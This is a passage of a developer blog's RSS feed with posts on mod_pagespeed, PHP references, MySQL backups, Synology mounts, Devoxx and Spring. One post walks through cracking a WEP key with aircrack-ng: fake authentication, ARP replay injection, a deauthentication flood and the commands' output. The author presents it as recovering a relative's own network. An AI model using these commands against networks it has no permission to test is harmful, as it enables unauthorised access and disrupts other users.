<tr class="row-18 even">
<td class="column-1">url_trims</td>
<td class="column-2">0</td>
</tr>
<tr class="row-19 odd">
<td class="column-1">url_trim_saved_bytes</td>
<td class="column-2">0</td>
</tr>
<tr class="row-20 even">
<td class="column-1">resources_404_count</td>
<td class="column-2">0</td>
</tr>
<tr class="row-21 odd">
<td class="column-1">slurp_404_count</td>
<td class="column-2">0</td>
</tr>
<tr class="row-22 even">
<td class="column-1">serf_fetch_requests_count</td>
<td class="column-2">0</td>
</tr>
<tr class="row-23 odd">
<td class="column-1">serf_fetch_bytes_count</td>
<td class="column-2">0</td>
</tr>
<tr class="row-24 even">
<td class="column-1">serf_fetch_time_duration_ms</td>
<td class="column-2">0</td>
</tr>
<tr class="row-25 odd">
<td class="column-1">serf_fetch_cancel_count</td>
<td class="column-2">0</td>
</tr>
</tbody>
</table>
<p>
Conclusion:</p>
<ul>
<li>The amount of requests have been reduced in this case with 2 (<span style="color: #99cc00;">-15%</span>)</li>
<li>The pagesize has been reduced with 5.2KB (<span style="color: #99cc00;">-1.5%</span>)</li>
<li>The loadtime is shorter when mod_pagespeed is enabled (<span style="color: #99cc00;">-13%</span>)</li>
</ul>
<p>The 50% profit claim is a little bit optimistic because the bottleneck in the pageload is the dynamic content and that&#8217;s a part where this module doesn&#8217;t do anything. But in general, the module does a reasonably good job. I get a 13% profit with mostly default values, a good configured server should propably even do better.<br />
I will definitely test this further and maybe put it one day on a production server.</p>
<p>The config used in this test looks like this:</p>
<pre class="prettyprint">
&lt;IfModule pagespeed_module&gt;
    SetOutputFilter MOD_PAGESPEED_OUTPUT_FILTER
     ModPagespeed on
     ModPagespeedUrlPrefix "http://localhost/"
     ModPagespeedFileCachePath "/var/mod_pagespeed/cache/"
     ModPagespeedGeneratedFilePrefix "/var/mod_pagespeed/files/"
     ModPagespeedRewriteLevel CoreFilters
     ModPagespeedDomain localhost
     ModPagespeedEnableFilters add_instrumentation
&lt;IfModule&gt;
</pre>
<p>My full configuration file can be downloaded <a href='http://dev.eek.be/2010/11/testing-the-new-mod_pagespeed-for-apache-2-from-google/mod_pagespeed/' rel='attachment wp-att-456'>here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/11/testing-the-new-mod_pagespeed-for-apache-2-from-google/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP quirks: passing an array by reference</title>
		<link>http://dev.eek.be/2010/10/php-quirks-passing-an-array-by-reference/</link>
		<comments>http://dev.eek.be/2010/10/php-quirks-passing-an-array-by-reference/#comments</comments>
		<pubDate>Sat, 16 Oct 2010 12:39:12 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[arrays]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[quirks]]></category>
		<category><![CDATA[references]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=375</guid>
		<description><![CDATA[Passing an array in php to a foreach which loops over the elements by reference can have strange behaviour. Look at the following code: //Create an array $array=array('a','b','c','d','e','f','g'); //Loop over the array by reference foreach($array as &#038;$a){ } //Loop again over the array foreach($array as $a){ } //Print the array print_r($array); What do you think ]]></description>
			<content:encoded><![CDATA[<p>Passing an array in php to a foreach which loops over the elements by reference can have strange behaviour.<br />
<span id="more-375"></span></p>
<p>Look at the following code:</p>
<pre class="prettyprint">

//Create an array
$array=array('a','b','c','d','e','f','g');

//Loop over the array by reference
foreach($array as &#038;$a){
}

//Loop again over the array
foreach($array as $a){
}

//Print the array
print_r($array);
</pre>
<p>What do you think the output would be if you run this piece of code?<br />
Because the array is never changed, the expected result would be:</p>
<pre class="prettyprint">
Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
    [6] => g
)
</pre>
<p>If that was the case, I obviously wouldn&#8217;t made this blogpost <img src='http://dev.eek.be/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> <br />
The result of the code is:</p>
<pre class="prettyprint">
Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
    [6] => f
)
</pre>
<p><strong>What&#8217;s going on??</strong><br />
Well&#8230;<br />
When you loop the first time over the array, the variable $a will be referenced to the array $array.<br />
This means that with every iteration $a points to the specified element in the array.<br />
After every element passed the foreach, $a still points to the last element in the array. In this case &#8216;g&#8217;.</p>
<p>Now you have to loop again over the array.<br />
When the first element &#8216;a&#8217; is passed to the foreach. $a will be set to &#8216;a&#8217; but there is still a reference to $a from the previous foreach, which holds the value &#8216;g&#8217;. Because it&#8217;s a reference, the value of &#8216;g&#8217; in the array changes to &#8216;a&#8217;.<br />
When the second element &#8216;b&#8217; is passed to the foreach. $a will be set to &#8216;b&#8217; but the reference to $a still exists so the value of the referenced $a changes from &#8216;a&#8217; to &#8216;b&#8217;<br />
And so on.</p>
<p>If you print the value of the array at every iteration, you will have the following output:</p>
<pre class="prettyprint">
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => a )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => b )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => c )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => d )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => e )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => f )
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6] => f )
</pre>
<p><strong>What to do??</strong><br />
1. Don&#8217;t use references in a foreach. Really. If you have to do it, you propably are doing something wrong.<br />
2. If you do need them, delete them after they are used:</p>
<pre class="prettyprint">
$array=array('a','b','c','d','e','f','g');

//Loop over the array
foreach($array as &#038;$a){
}
//remove the reference
unset($a);
//loop again over the array. The output looks like expected
foreach($array as $a){
        print_r($array);
}
</pre>
<p>3. If you do need them and you can&#8217;t delete it because you need the variable elsewhere. Document your code!!!<br />
This little piece of code is very hard to debug when there&#8217;s something wrong. Good documented code can save you a lot of headache.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/10/php-quirks-passing-an-array-by-reference/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Backing up Mysql with Java and PHP</title>
		<link>http://dev.eek.be/2010/04/backing-up-mysql-with-java-and-php/</link>
		<comments>http://dev.eek.be/2010/04/backing-up-mysql-with-java-and-php/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 09:35:26 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqldump]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=310</guid>
		<description><![CDATA[mysqldump is an effective tool to backup MySQL databases. In normal cases, it&#8217;s done trough a command line commando but it can be used programmatically. It&#8217;s a very easy script and it could be useful. (don&#8217;t have to log in into console to take a backup, create an auto backup on deployment, &#8230;) It will ]]></description>
			<content:encoded><![CDATA[<p>mysqldump is an effective tool to backup MySQL databases. In normal cases, it&#8217;s done trough a command line commando but it can be used programmatically.<br />
It&#8217;s a very easy script and it could be useful. (don&#8217;t have to log in into console to take a backup, create an auto backup on deployment, &#8230;)<br />
It will work on Windows and Linux as long as mysql is in your PATH.</p>
<pre class="prettyprint">
package be.eek.test.mysql;

import java.io.IOException;
import java.io.InputStream;

public class MysqlBackup {

    /**
    main method is just to create a working example
    **/
    public static void main(String[] args) throws IOException {
        new MysqlBackup().MakeBackup();
    }

    public void MakeBackup() throws IOException {
        String dump = "mysqldump "      //Path to mysql
                + "--host=localhost "       //Mysql hostname
                + "--port=3306 "            //Mysql portnumber
                + "--user=root "            //Mysql username
                + "--password=test "        //Mysql password
                + "--add-drop-table "       //Add a DROP TABLE statement before each CREATE TABLE statement
                + "--add-drop-database "    //Add a DROP DATABASE statement before each CREATE DATABASE statement
                + "--complete-insert "      //Use complete INSERT statements that include column names.
                + "--extended-insert "      //Use multiple-row INSERT syntax that include several VALUES lists
                + "test";                   //Mysql databasename

        Process run = Runtime.getRuntime().exec(dump);

        InputStream in = run.getInputStream();

        int nextChar;
        StringBuffer sb = new StringBuffer();

        while ((nextChar = in.read()) != -1) {
            sb.append((char) nextChar);
        }

        //Here, you can for example write it to a file and save it
        System.out.println(sb);
    }
}
</pre>
<p>The same thing is also possible in php:</p>
<pre class="prettyprint lang-php">
$dump = "mysqldump "
        . "--host=localhost "       //Mysql hostname
        . "--port=3306 "            //Mysql portnumber
        . "--user=root "            //Mysql username
        . "--password=test "        //Mysql password
        . "--add-drop-table "       //Add a DROP TABLE statement before each CREATE TABLE statement
        . "--add-drop-database "    //Add a DROP DATABASE statement before each CREATE DATABASE statement
        . "--complete-insert "      //Use complete INSERT statements that include column names.
        . "--extended-insert "      //Use multiple-row INSERT syntax that include several VALUES lists
        . "test";                   //databasename

$backup = system($dump);
echo $backup;
die();
</pre>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/04/backing-up-mysql-with-java-and-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking WEP encryption on Ubuntu</title>
		<link>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/</link>
		<comments>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:34:16 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[slider]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=284</guid>
		<description><![CDATA[The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!! Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more. She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless ]]></description>
			<content:encoded><![CDATA[<p><b><span style="color: #ff0000;">The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!!</span></b><br />
Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more.<br />
She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless access point and the access point couldn&#8217;t be reset because it&#8217;s on the attic and we couldn&#8217;t reach it.</p>
<p>So I thought I give it a try to hack the access point.<br />
Here are the steps I followed:<br />
First I took a look if my laptop could see the wireless network.<br />
The network I want to crack is wifi9/7</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png"><img class="aligncenter size-full wp-image-285" title="list networks" src="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png" alt="" width="446" height="326" /></a></p>
<p>Let&#8217;s start cracking the key with the installation of aircrack-ng</p>
<pre class="prettyprint">sudo apt-get install aircrack-ng</pre>
<p>List the adapters</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.<br />
Next, I have to put my wireless card in monitoring mode</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)</pre>
<p>mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco</pre>
<p>The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is  WPA, it's a lot harder to crack.</p>
<p>Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco</pre>
<p>Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.<br />
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  (AID: 1)</pre>
<p>The association is successfull. This means the target host doesn&#8217;t use MAC filtering. This is good for me, so I don&#8217;t have to spoof my MAC address.<br />
Now everything is ready to crack the key.<br />
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes</pre>
<p>To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)</pre>
<p>Now keep the aireplay-ng and airodump-ng running and run the deauth attack.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]</pre>
<p>Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I&#8217;ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.<br />
When there are enough packets captured, it&#8217;s time to crack them.<br />
I&#8217;ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%</pre>
<p>Got it! The key for the network is 06469.<br />
I could connect to it without a problem and made my sister happy again <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Change folders for Synology media server</title>
		<link>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/</link>
		<comments>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 22:07:17 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[mount]]></category>
		<category><![CDATA[nas]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[slider]]></category>
		<category><![CDATA[Synology]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=264</guid>
		<description><![CDATA[When you enable the Synology Media Server on your NAS, there are 3 directories added to your file-system (video, music and photo) which will be used for the DLNA/UPnP media server to play the corresponding files. I wasn&#8217;t very happy with these 3 directories because I wanted to categorize my media in other directories. In ]]></description>
			<content:encoded><![CDATA[<p>When you enable the Synology Media Server on your NAS, there are 3 directories added to your file-system (video, music and photo) which will be used for the DLNA/UPnP media server to play the corresponding files.</p>
<p>I wasn&#8217;t very happy with these 3 directories because I wanted to categorize my media in other directories. In this post, I will post how I&#8217;ve resolved this problem.</p>
<p>First, enable SSH access to the NAS and log in.<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/01/syn1.png"><img src="http://dev.eek.be/wp-content/uploads/2010/01/syn1.png" alt="" title="syn1" width="640" height="400" class="alignleft size-full wp-image-265" /></a></p>
<p>My first idea to tackle this issue was to use of symbolic links</p>
<pre class="prettyprint" lang-java>
ln -s /volume1/MyMusicDirectory /volume1/music
</pre>
<p>I&#8217;ve re-indexed my files on the NAS and everything worked instantly. All the files in MyMusicDirectory where indexed so I was very happy&#8230;but not for long.<br />
I noticed quickly that the new files I&#8217;ve placed in MyMusicDirectory weren&#8217;t auto-indexed by the NAS. I always had to re-index through the webinterface which can take hours when there is a lot of data to index so that was a big issue.<br />
I figured out what the problem was: symbolic links will be considered as files and not as directories so the autoindexer wouldn&#8217;t follow the symbolic link.</p>
<p>Up to idea 2: mount &#8211;bind<br />
I used mount &#8211;bind to create an unbreakable link which normally would be used as a directory by the NAS so the contents could be auto-indexed.</p>
<pre class="prettyprint" lang-java>
mount --bind /volume1/MyMusicDirectory /volume1/music
</pre>
<p>It worked!! YES!!<br />
Till I&#8217;ve rebooted the NAS. The mount was gone and I had to manually add it again. Not something I want to do at every reboot.</p>
<p>Up to idea 3: changing fstab<br />
The file /etc/fstab will be loaded at startup to mount the filesystem so I&#8217;ve added the following rule in the file:</p>
<pre class="prettyprint" lang-java>
/volume1/MyMusicDirectory /volume1/music bind defaults,bind 0 0
</pre>
<p>I saved the file and rebooted and it didn&#8217;t worked. The fstab file will be overridden at startup with Synology&#8217;s default fstab-file so the rule I&#8217;ve entered before was deleted.</p>
<p>And then idea 3: <b>The solution</b><br />
Create a file rc.local</p>
<pre class="prettyprint" lang-java>
touch /etc/rc.local
</pre>
<p>open the file and add the following line:</p>
<pre class="prettyprint" lang-java>
mount --bind /volume1/MyMusicDirectory /volume1/music
</pre>
<p>Now restart the NAS and you&#8217;re done.<br />
The files in MyMusicDirectory will be auto-indexed by the media server.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/feed/</wfw:commentRss>
		<slash:comments>60</slash:comments>
		</item>
		<item>
		<title>Devoxx University 2009</title>
		<link>http://dev.eek.be/2009/11/devoxx-university-2009/</link>
		<comments>http://dev.eek.be/2009/11/devoxx-university-2009/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 21:10:35 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[java]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[Devoxx]]></category>
		<category><![CDATA[presentation]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=248</guid>
		<description><![CDATA[Devoxx is one of the largest Java Conferences in Europe. The first 2 days consists of Universitytalks and the other 3 days are conferences. Since I live in Belgium, approximately 30km of Devoxx, and have a great interest in Java, I was able to attend the 2 Universitydays. When I&#8217;ve entered the room on Monday ]]></description>
			<content:encoded><![CDATA[<p><a href="http://devoxx.com/display/DV09/Home" target="_blank">Devoxx</a> is one of the largest Java Conferences in Europe. The first 2 days consists of Universitytalks and the other 3 days are conferences.<br />
Since I live in Belgium, approximately 30km of Devoxx, and have a great interest in Java, I was able to attend the 2 Universitydays.</p>
<p>When I&#8217;ve entered the room on Monday morning, the first thing I&#8217;ve noticed was that there where no stands with Java-companies or products. We all got a bag with a T-shirt which is really cool <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The first event of the day in which I&#8217;ve attended was an introduction to <a href="http://devoxx.com/display/DV09/Introduction+to+Java+Generics">Java Generics</a> by Prof. Eric Steegmans. He explained during this 3 hours class all about Java Generics. He started with a very basic example used in in ArrayList and build his presentation up to more advanced features like generics in classes, generics with wildcards,&#8230;<br />
He explained everything very well but the example in his demo was not really good. He was trying to show us a class which used generics but he implemented like 6 other classes which made the example a little bit to difficult to follow. </p>
<p>Next on the menu was another 3 hours class about <a href="http://devoxx.com/display/DV09/JSF+2+and+beyond" target="_blank">JSF2</a> by Dan Allen, Peter Muir and Andy Schwartz. The course was divided into 3 sections: View(Andy), Controller (Dan) and Model (Peter). What I liked about there presentation style was the fact that they showed how something was in JSF 1.x, how they improved it in JSF2.0 en what they should improve in JSF 2.next.<br />
The presentation given by Peter Muir was the best of the 3. He was very enthusiastic and explained why JSF shouldn&#8217;t concern (very much) about the model.<br />
I&#8217;ve learned a lot in this presentation.</p>
<p>Next was a presentation about <a href="http://devoxx.com/display/DV09/Easing+JPA+data+access+with+Hades" target="_blank">Hades</a> by Oliver Gierke. It was a short presentation about implementing data access layers with JPA which is a lot easier with Hades.<br />
I&#8217;m not quite sure if I will ever use Hades but it looked promising.</p>
<p>Last presentation of the day was about <a href="http://devoxx.com/display/DV09/NoSQL+with+Cassandra+and+Hadoop" target="_blank">NoSQL with Cassandra and Hadoop</a> by Steven Noels. He told us that his company developed a CMS which had some problems with scaling if it was deployed at big companies. As a solution they threw out the rational databases and went to another way of working. He explained which frameworks they compared (Googles Bigtables, Cassandra,Hades,..) and why they ultimately choosed Hades above Cassandra.<br />
I like this way of thinking and will look to it in the (near) future.</p>
<p>It was a very interesting day.</p>
<p>The second day when I&#8217;ve entered the building, I&#8217;ve saw that the stands have arrived: Time to get me some nice goodies!!! <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <br />
The big companies where all present (IBM,Oracle,Adobe,Springsource,..) and also a few minor companies (Atlassian, Jetbrains,..). There was one company absent&#8230;Sun, which is in my opinion a little bit strange since they don&#8217;t belong to Oracle yet.</p>
<p>The first presentation was again a 3 hours during class about <a href="http://devoxx.com/display/DV09/The+Java+EE+6++Platform">the Java EE6 platform</a> by Antonio Goncalves and Alexis Moussine-Pouchkine. I was in doubt if I would follow this course at first because a colleague of mine said he once saw a presentation by Antonia Goncalves which was kinda boring. Not this time!! It was the best presentation I&#8217;ve seen on Devoxx this year. They explained most of the new features in EE6 (validation, jsf, EJB3.1,EJB Lite, JSF2.0, Servlet3.0,JAX-RS 1.1,JPA2.0,..) and gave an example for each feature.<br />
I&#8217;m very excited about JavaEE6. It&#8217;s a lot easier and has a lot of cool features.<br />
They told us that Java EE6 (and GlassfishV3) will be released in December. I can&#8217;t wait.</p>
<p>The next course I&#8217;ve attented was about <a href="http://devoxx.com/display/DV09/SOA+in+Practice" target=_blank">SOA in practice</a> by Nicolai Josuttis. I had heard a few things about SOA but wasn&#8217;t very sure what it was so I was very curious about this presentation.<br />
Nicolai explained how and when a company should setup a SOA architecture. It was very clear explained and what I&#8217;ve liked was the fact that the speaker wasn&#8217;t someone who would use SOA always. He explained that it isn&#8217;t necessary for many companies. A really good presentation which gave me the insights into SOA which I didn&#8217;t had before.</p>
<p>After that, there was a short presentation about  <a href="http://devoxx.com/display/DV09/A+Year+of+Monitoring+with+Java-monitor">a year of monitoring with Java-Monitor</a> by Kees Jan Koster. He explained a few different techniques how you can monitor your JVM and how to detect and fix some issues. The presentation was a little bit to short but was very interesting.</p>
<p>The last course I&#8217;ve attended was about <a href="http://devoxx.com/display/DV09/Lookup+-+A+new+OSGi+Service+Registry">lookup, a new OSGi Service Registry</a>. I have no experience with OSGi and this course was sadly a little bit to abstract for me.</p>
<p>The conclusion of these 2 days at Devoxx is that I&#8217;ve learned a lot and there will come some exciting times for Java in the near future. I wish I could also attend the 3 other days but sadly that&#8217;s not the case. I&#8217;ve enjoyed the Devoxx-time and hope to attend again next year!!</p>
<p><script type="text/javascript">var dzone_url = 'http://dev.eek.be/2009/11/devoxx-university-2009/';</script><br />
<script type="text/javascript">var dzone_title = 'Devoxx university 2009';</script><br />
<script type="text/javascript">var dzone_blurb = 'An expression of the first 2 days of Devoxx and an overview of the courses I've attended';</script><br />
<script type="text/javascript">var dzone_style = '1';</script><br />
<script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/11/devoxx-university-2009/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The lifecycle of a Spring bean</title>
		<link>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/</link>
		<comments>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 17:30:42 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[annotations]]></category>
		<category><![CDATA[Dependency injection]]></category>
		<category><![CDATA[di]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Inversion of control]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=218</guid>
		<description><![CDATA[In this blogpost, I&#8217;ll talk and give a few examples of the lifecycle of a bean in a Spring container. The examples are tested with Spring 3.0RC1 but should work with Spring 2.5+ Xml Attributes In this first example, I&#8217;ll show you how the lifecycle of a bean happens within the xml-configfile. In the xml-file, ]]></description>
			<content:encoded><![CDATA[<p><img src="http://dev.eek.be/wp-content/uploads/2009/11/beans-150x150.jpg" alt="Beans" title="beans" width="150" height="150" class="size-thumbnail wp-image-228" /><br />
In this blogpost, I&#8217;ll talk and give a few examples of the lifecycle of a bean in a Spring container.<br />
The examples are tested with Spring 3.0RC1 but should work with Spring 2.5+</p>
<p>
<h1>Xml Attributes</h1>
<p>In this first example, I&#8217;ll show you how the lifecycle of a bean happens within the xml-configfile.</p>
<p>In the xml-file, we can define an init- and destroy-method to the bean, which will be called automatically by Spring.<br />
<b>Config.xml</b></p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
